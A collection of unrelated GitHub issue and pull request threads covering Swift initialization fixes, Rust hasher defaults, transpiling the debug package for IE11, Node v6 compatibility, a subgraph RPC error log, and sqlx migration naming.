Fix Initialization, Actor Isolation, and Package.resolved Issues

Description

This PR addresses the following issues:

Fix for Self Initialization Before Use:

Initialize displayName property before accessing self in the initializer.
This resolves errors related to accessing uninitialized properties.

Fix for Using Weak Self to Avoid Actor-Isolated Property Issue:

Capture self weakly in the MainActor.run block to prevent issues with actor isolation.
Avoids the error caused by passing actor-isolated properties as inout to async functions.

Fix for Resolving Corrupted Package.resolved File:

Deleted and regenerated the corrupted Package.resolved file to fix build errors.
Ensured that all dependencies are correctly resolved and consistent across environments.

Related Issues

#ISSUE_NUMBER

Checklist

[x] I read and understood the contributing guide as well as the code of conduct
[x] The issues this PR addresses are related to each other
[x] My changes generate no new warnings
[x] My code builds and runs on my machine
[x] My changes are all related to the related issue above
[x] I documented my code

Screenshots

I'm not too sure what you mean by the fix to the actor-isolated properties. This is currently compiling, so Swift doesn't seem to care about isolation here and the dispatch to the main actor is required to modify that property to make SwiftUI happy. Also correct me if I'm wrong but your patch doesn't fix actor isolation, it just weakly references self but still references everything else the same.


[CELEBORN-746][BUILD] Rename project files from rss-xx to celeborn-xx

What changes were proposed in this pull request?
Rename project files from rss-xx to celeborn-xx
Why are the changes needed?
Does this PR introduce any user-facing change?
How was this patch tested?

as we are here, would you mind updating the terminology within the Drawio file and regenerating the jpg file?

as we are here, would you mind updating the terminology within the Drawio file and regenerating the jpg file?

Done

as we are here, would you mind updating the terminology within the Drawio file and regenerating the jpg file?

Done

forget uploading the regenerated jpg file?

as we are here, would you mind updating the terminology within the Drawio file and regenerating the jpg file?

Done

forget uploading the regenerated jpg file?

Not used now, after discuss, delete it directly


Update places and include Koloa on the mobile shows page

Re: https://artsy.slack.com/archives/C03JWJLLH/p1503416445000079
On the mobile shows page, we are still using the static places lib for the list of cities. We still need to migrate to the Gravity generated city list but we might need some design changes on mobile. In the mean time, I'd like to do our partners a favor to update places and include Koloa on that page. Please don't yell at me. 🙈

👍
Didn't realize about that usage of the old places lib. Must have missed that when I did my sweep of the repo a while back.


Implement Default for FoldHasher

Most other well-known Hasher implementations implement Default[^1] which allows them to be used with standard library types like std::hash::BuildHasherDefault and avoids the need for a BuildHasher like FixedState for quick experimentation.
This is redundant with the functionality in FixedState::build_hasher so it just defers to it.
Love this crate! Hope I can make it a bit more convenient for others to use. 🙂
[^1]: aHash, rustc-hash, std::hash::DefaultHasher

I intentionally didn't implement this because I want to avoid people implicitly ending up with a fixed initialization state. Hence the explicit FixedState.


Azure: Work around a bug that lb services with port 6443 don't work

Azureclusters have a bug that results in LB services with port 6443
always failing to provision a LB. Work around it by checking the
platform of the management cluster and if its azure, use a different
port.

What this PR does / why we need it:
Which issue(s) this PR fixes (optional, use fixes #<issue_number>(, fixes #<issue_number>, ...) format, where issue_number might be a GitHub issue, or a Jira story:
Fixes #
Checklist

[ ] Subject and description added to both, commit and PR.
[ ] Relevant issues have been referenced.
[ ] This change includes docs.
[ ] This change includes unit tests.

/lgtm


build

build our dist files

Generally you should just push the build commit directly to the v4-dev branch, there's no need to create a PR.

Yes that's what I tried but I can't push to v4-dev see


Use new api

The Log API changed in eProsima/Fast-RTPS@f94ba23f40a8d669961786f540af09edd1ff1212.
The new method TypeSupport:: was introduced in eProsima/Fast-RTPS#59. I am just not sure if calling calculateMaxSerializedSize is appropriate here.
While it makes it compile again (http://ci.ros2.org/job/ci_linux/1691/) it fails several tests due to the new size provider. @richiprosima Maybe you can advise what the correct way of implementing this is.

+1 in my Linux machine

http://ci.ros2.org/job/ci_linux/1696/
http://ci.ros2.org/job/ci_osx/1258/
http://ci.ros2.org/job/ci_windows/1614/

@richiprosima I don't think the patch works correctly as-is. The test failures are still the same as in my original comment and seem to be clearly related to the new message size limit. Can you please suggest how we can address them?

Even with the latest changes this still fails several tests:

http://ci.ros2.org/job/ci_linux/1701/
http://ci.ros2.org/job/ci_osx/1263/
http://ci.ros2.org/job/ci_windows/1620/

#51 may overlap with this a little bit, I'll look into that.

I think we should first merge this PR to get the current state working again (once it passes all the tests). And then integrate the new features form #51.

This has been open for 16 days, so 1 more day isn't going to make a big difference. I am going to see what the state of #54 is by fixing the branch and then doing CI. If it needs more work we can merge this one and rebase that one, but if it works then it's probably easier to merge #54 and close this one. Especially if #54 fixes the remaining failing tests that this pr has.

The latest nightly builds for Linux are green. The OS X and Windows warnings and test failures are not related to these problems, I think this can be closed since #51 was merged.


Subgraph not working on Flow EVM Mainnet

Problem
After deployment of the Graph node and deployment of the subgraph in the process block scanning this error occurs:
Details:
Contract
Transaction
Block
Event name: CreateMarket
Error message:
2024-11-19 16:20:35 indexer-1   | Nov 19 09:20:35.969 INFO Possible reorg detected, retrying, error: failed to process trigger: block #2873265 (0x055b…db4d), transaction ab79a59671d47c8147d2d4b52b6d03afa3ff079e7734e8e55598e8bb85709722: error while executing at wasm backtrace:
2024-11-19 16:20:35 indexer-1   |     0: 0x5cc6 -<EMAIL_ADDRESS>2024-11-19 16:20:35 indexer-1   |     1: 0x60af - <unknown>!src/sdk/token/TokenManager#constructor
2024-11-19 16:20:35 indexer-1   |     2: 0xf324 - <unknown>!src/initializers/markets/createMarket
2024-11-19 16:20:35 indexer-1   |     3: 0x10528 - <unknown>!src/morpho-blue/handleCreateMarket: Ethereum node returned an error when calling function "name" of contract "ERC20": RPC error: Error { code: ServerError(-32000), message: "failed to execute script at height: 88877951, with: invalid height not in available range: 88877951", data: None }, block_hash: 0x055b1029ec64242b19f82f00a858fd9800488c98076157f259651fd5cb60db4d, block_number: 2873265, sgd: 3, subgraph_id: QmVhzPh7mB26PYwmTgtbLAMSaqKHKYDn2dcQHtN71TGxgy, component: SubgraphInstanceManager

Screenshot:

And I have confirmed, token addresses are not zero address:
2024-11-19 16:20:40 indexer-1   | Nov 19 09:20:40.309 INFO collateral token address: 0x1b97100ea1d7126c4d60027e231ea4cb25314bdb, data_source: MorphoBlue, sgd: 3, subgraph_id: QmVhzPh7mB26PYwmTgtbLAMSaqKHKYDn2dcQHtN71TGxgy, component: SubgraphInstanceManager > UserMapping
2024-11-19 16:20:40 indexer-1   | Nov 19 09:20:40.309 INFO loan token address: 0xd3bf53dac106a0290b0483ecbc89d40fcc961f3e, data_source: MorphoBlue, sgd: 3, subgraph_id: QmVhzPh7mB26PYwmTgtbLAMSaqKHKYDn2dcQHtN71TGxgy, component: SubgraphInstanceManager > UserMapping

Context
This issue related to this and this
Now we are trying to setup subgraph in mainnet and meeting new issue, but we feel like it can probably have same roots.

Closing this as it has been fixed. Discord thread: https://discord.com/channels/613813861610684416/1308406747748237312/1313842817818169375


Cannot find /layers/ball

Hello! After fiddling around and I finally reached this step to npm run build. I have changed the name of layer in the folder and the names in layerOrders. Before I changed anything, I was able to generate the samples. After changing, the code kept trying to find the old folders when I have changed it to the exact name in layerOrders. Can I ask where else should I make changes too?

I have exactly the same error. Cannot seem to find where the program finds the layer 'ball', as I renamed it

same.

same here!

I have the same problem! After I closed and opened it again it changed from 'ball' to 'undefined'

I had the same problem where no matter what it would look for the "ball" file pathway. and The fix for me was just simply saving the file. Save your configuration!! I hope this works.


4.1.1 version of debug crashes IE11 with syntax error.  downgrading to 3.2.6 fixes issue

Can I still use debug 4x with non ES6 browsers? Is there some way to use a transpiled version or if I want to support IE11 stick with 3x?

You use Babel.

I do use babel...
I'm using @babel/preset-env, which doesn't seem to transpile node_modules, or doesn't without setting up additional config. Can you possibly point me in the right direction? This has been taking up a lot of my time.

You should use a packer like Rollup or Webpack. A quick google search should tell you more than you need - this is a widely documented topic.

I use webpack.... I use it with @babel/preset-env... which most people recommend and the community is moving towards.
I think (?) the trouble is that it doesn't transpile node_modules. I have nearly 30 dependancies but debug is the only one causing the issue. I understand and respect the choice to remove es5 support for debug.  I am asking for just a pointer towards how to get babel to do this for debug. I see this project has tons of people asking exactly what I am asking, but they are told to also just google it.  I have done so sir, all day. I can't find an answer.
my babel config is this...
{
  "presets": [
    [
      "@babel/preset-env",
      {
        "useBuiltIns": "usage"
      }
    ]
  ],
  "include": [
    "./src/*",
    "./node_modules/debug/*"
  ],
  "plugins" : [
    "@babel/plugin-syntax-dynamic-import"
  ]
}

When I change something in the /node_modules/debug folder, I see webpack triggers a recompile, which leads me to believe babel is being told to include the right folder to transpile, but however it's not actually transpiling it. I know this because in IE11 I see the new code I put into debug, and I also still see the ES6 code debug is using, not transpiled.  I have been looking all over the community for an answer to this and I haven't been able to find one.
If you pointed me in the right direction, you could also be able to point every new issue that gets opened for this project because of this same issue, right to your link you provide me... it would also help people googling for an answer... because when I google for an answer to this, I get results that point to other people opening issues right in this repo.

For anyone else that is googling how to get the latest version of debug to transpile to ES6, or if someone tells you to google it, and google sends you back to the debug repo like it did me, here is how you get out of your own personal hell...
Add this exclude to babel-loader (note this makes an exception for @feathersjs and debug, which means babel will transpile those two node modules for you as well, just replace "@feathersjs" with any other module you want to also transpile for ES6, and add a "|" to deliminate them).
{
  test: /\.js?$/,
  exclude: /node_modules(\/|\\)(?!(@feathersjs|debug))/,
  loader: 'babel-loader'
}

If you're using Quasar-framework, just put this in quasar.conf.js and wrap it around extendWebpack like this:
extendWebpack (cfg) {
  cfg.module.rules.push({
    test: /\.js$/,
    exclude: /node_modules(\/|\\)(?!(@feathersjs|debug|@lifeio))/,
    loader: 'babel-loader'
  })
  // Your other additions here.
}

If you're using create-react-app, you have to eject.  If you don't want to or don't know what that means, you have to use debug 3.2.6 or lower, which supports ES5.
@Qix- For what it's worth, this should be in the debug documentation as you can tell from the people creating issues, this is a big human time waster. For every dev that creates an issue, 10 do not. This stops developers using the latest version of debug dead in their tracks and most devs don't know why; most packages support ES5 so most developers see this issue first with debug.  When you finally track it back to debug, debug has no documentation about it, and for some reason you tell them to just figure it out.
Other maintainers put the decision to abandon ES5 in their docs, and give them details for how to fix it (this is finally how I found out how to fix it, and got some help from the awesome devs at feathers)...
https://docs.feathersjs.com/api/client.html#module-loaders
Why not do it for debug? Wasn't there a time when you didn't know everything?  When you move to another language won't you be happy to find devs point you towards a fix or show you how to fix it? Do you realize for every person you tell to just google it, an angel dies, and you cost that dev and every dev that finds your response to them many hours of work? Don't you want to make the world better?
Don't let your disdain for IE11 turn into disdain for your fellow humans that unfortunately still have to support it.  They didn't do anything wrong, and they even look up to you man, you maintain stuff and hold up the infrastructure... rainbows and unicorns man, rainbows and unicorns :)

I use create-react-app and had problems with debugs latest version 4.1.1. Solved with downgrading as suggested, but I cannot configure Babel without ejecting, so I feel like this is still an open issue.

Seems fair to put something like what @onexdata posted above into the README. Unfortunately (or maybe fortunately?) we all aren't as experienced on the nuances of this issue. If just googling is the answer then I encourage more people to comment on this issue using some keywords (debug, webpack, process.env.DEBUG, DefinePlugin) so google can index it and we can all find it better.

For what it's worth, this should be in the debug documentation as you can tell from the people creating issues, this is a big human time waster.

ES6 is ES6. This is the standard right now. Most packages nowadays use it (e.g. most of @sindresorhus's packages, which garner over 12% of all npm downloads (probably much higher now). Further, most packages that use it do not transpile.
create-react-app should be handling this better - if you're seeing problems with how create-react-app bundles its dependencies, you should open a ticket with them. It's not my job to educate the masses on how to use transpilers or bundlers.
As for keywords requested by @arecvlohe, I get some interesting results with how to bundle web application babel transpile all dependencies.

If you want my personal advice, which does not necessarily reflect the official stance of any of the maintainers here, nor will it necessarily reflect what is commonly considered "proper":
Don't use webpack, use rollup. It's the only bundler that hasn't given me a headache, especially since I don't work with frontend a whole lot.
I've also never used babel-loader - I'm not even sure what it does as the only place I've ever seen it mentioned is here. @babel/preset-env has been sufficient enough for me, maybe with some extra stuff thrown in to get async/await working how I'd like.
Further, while rollup is decent enough with basic things, I've found myself using gulp a bit, as much as I'm a build systems nerd and dislike how gulp is designed.
The way I've been structuring my hierarchy:

Gulp uses babel via gulpfile.babel.js and .babelrc, the latter of which is only used to get gulp working (not for the entire project). Therefore, I only target node 6 in .babelrc.
Gulp uses rollup-stream to invoke Rollup, which then uses rollup-plugin-babel and rollup-plugin-node-resolve for the transpilation - all of which is managed directly in the gulpfile.babel.js.
The rollup babel plugin uses the configuration passed directly to the function, making sure all of my project's configuration is in the same spot.

This has been sufficient for me for a few projects now, but I'm sure it's not as refined as it could be.
Again, this is how I personally set up my build pipelines for frontend assets, YMMV.

🤔 looks for replacement for debug
Nothing about what you just said is standard.

@onexdata and everyone else, who don't want to create workarounds for webpack config: you could use my es5 compatible fork https://www.npmjs.com/package/@diokuz/debug
yarn add @diokuz/debug

It is basically the same, just transpilled to es5 :)
Or you could use 3rd version of debug:
yarn add debug@^3

I don't recommend using forks of modules simply because they prevent you from receiving potential security updates if they occur. Also, I cannot vouch for the safety of the code and thus cannot provide support if you use them.

So compile your library to ES5-compatible code with Babel, and you will never get feedbacks like this.
The problem is that Babel never compiles anything in node_modules out-of-the-box, because it assumes that all code in node_modules is already compiled. In order to enable compilation people have to change the Babel config.
If they add the entire node_modules, it will seriously degrade build performance.
If they add exclusion for every module like debug, which does not have ES5-compatible code in the distibution, it will break the DRY principle (they will have to remember to add debug to exclusions for each project that uses debug).
Please, just add a compilation step or let us do it for you in a PR.

So compile your library to ES5-compatible code with Babel, and you will never get feedbacks like this.

Bring your project into the year 2019 and you will never be blocked by stubborn maintainers.

The problem is that Babel never compiles anything in node_modules out-of-the-box, because it assumes that all code in node_modules is already compiled.

Only that first statement is true. The latter isnt really fair as Babel doesn't make assumptions about anything.

If they add the entire node_modules, it will seriously degrade build performance.

Eh, not really. I'm tired of hearing this argument. You don't compile the entirety of your node_modules. You allow ES6 import/export semantics to selectively import things.

they will have to remember to add debug to exclusions for each project that uses debug

And like half of the modules written in the last 5 years.

Please, just add a compilation step or let us do it for you in a PR.

No, sorry. Locking.


Switch to using hasOwnProperty from the object prototype (nodejs v6)

Since the response from url.parse no longer inherits from it: https://github.com/nodejs/node/pull/4892

FWIW, I think the prototype change was in https://github.com/nodejs/node/pull/6289

You're right, that's the PR I meant to link - updated the original comment

Any chance to get this PR merged soon? Last issue left using Node v6.

I hate to "me too," but this is also the last issue for me preventing moving to Node 6.

Thanks for PR and my sincerest apologies for taking so long to address this.  Life has kept me from being able to dedicate any time to my projects.
I've also updated the travis ci file to always build against the latest release so I can be notified when compatibility issues crop up.

Thanks, @themikenicholson! Definitely appreciate your time and this library. 😄  Looking forward to the release.

Release will be coming out tonight as soon as I resolve one more issue.


Failed git push causes tag to still be created (and a few other problems)

A few things:

release shouldn't be pushing anything. It's dangerous and could potentially break users working on a team. Let the user push things to the remote - you can even verify that the remote has everything up to date using Git; release should be doing that, and nothing more.
The above point requires #135 - it's vital for any sort of git functionality to work without being overly opinionated.
If release fails to git push (as it is - doing the above points would make this one moot), the tag is still created, which means release is going to act weird if you try to call release again. It completely breaks the workflow and prevents me from using release.
In the event the problem in #137 arises, it's too late - the tag has already been created and pushed, and the user now has to revert (ugly) or force-push to master (dangerous) and git push origin :tag (delete the remote tag) - all of which is against all Git best practices. This makes release dangerous if you haven't gone through all of the changes beforehand, which kind of defeats the purpose of this utility.

while I like the auto push, if it fails it's cumbersome to do the release. For example my git push failed, now I had to push manually (after fixing the cause) but how is my changelog created now?


Fixes issue with missing pygments in testing and adds guards.

This fixes an issue seen on .e.g ARMv8 where there is no pygments
package available. Tests were failing as there was no guard to
prevent them running and the actual code had no check to make sure
that the dependency was present in the case it wasn't.
This also adds a VANILLA_INSTALL setting to the Travis CI builds
which is a Numba test suite evaluation in the presence of none of
the extra packages being available. This is to catch tests that
exercise code paths relying on packages being present that do not
have suitable guard mechanisms.

Codecov Report

Merging #3156 into master will decrease coverage by 2.45%.
The diff coverage is 25.64%.

@@            Coverage Diff             @@
##           master    #3156      +/-   ##
==========================================
- Coverage   81.14%   78.68%   -2.46%
==========================================
  Files         384      384
  Lines       75035    75063      +28
  Branches     8435     8435
==========================================
- Hits        60885    59066    -1819
- Misses      12860    14743    +1883
+ Partials     1290     1254      -36

Looks good, and seems to be doing the right thing on Travis CI.


[T4A7][W14-B1]Muhammad Hamsyari Bin Rozman

Ready for review

Your TDD flow is jumbled up. You added a complete method before adding in test cases. You should incrementally write test cases and improve your method to pass those tests.

@hamsyari Close this PR after reviewing.


Consider documenting migration naming requirements

Unless I'm mistaken, it isn't documented that migration files must be named N_X.sql, where N is a number greater than 0, and X is the name of the migration.

Hello!
I think it's defined here: https://github.com/launchbadge/sqlx/tree/master/sqlx-cli#create-and-run-migrations
But yes we can make it more explicit. Feels free to open a PR to add it to the documentation!

Just to add on to this, I was using an older version of sqlx-cli to run my migrations, and was able to have a migration with version "0". I'm not a fan of the timestamp personally since I find them hard for humans to read, so I was using 000, 001, 002...
I updated my CLI recently and that became a large problem. Not a big deal, but I figure others might run into this as well.

Any number should work as long they are incrementing. If it doesn't, that sounds like a bug. The timestamp is not required, only the default way the cli tool generates migration files.

I just tried replicating, and I received the same error:
error: migration 0 was previously applied but is missing in the resolved migrations

If I switch my migration named 000_initial.sql to 001_initial.sql everything works as intended. I apologize that I can't recall which version I was using previously of sqlx-cli, but I can say for certain it was working at some point and with the latest release it is not. Not a huge burden for me personally, but if I find some time I'd be happy to dig around and see if I can figure out what changed.

What timezone are timestamps generated in? Local or UTC?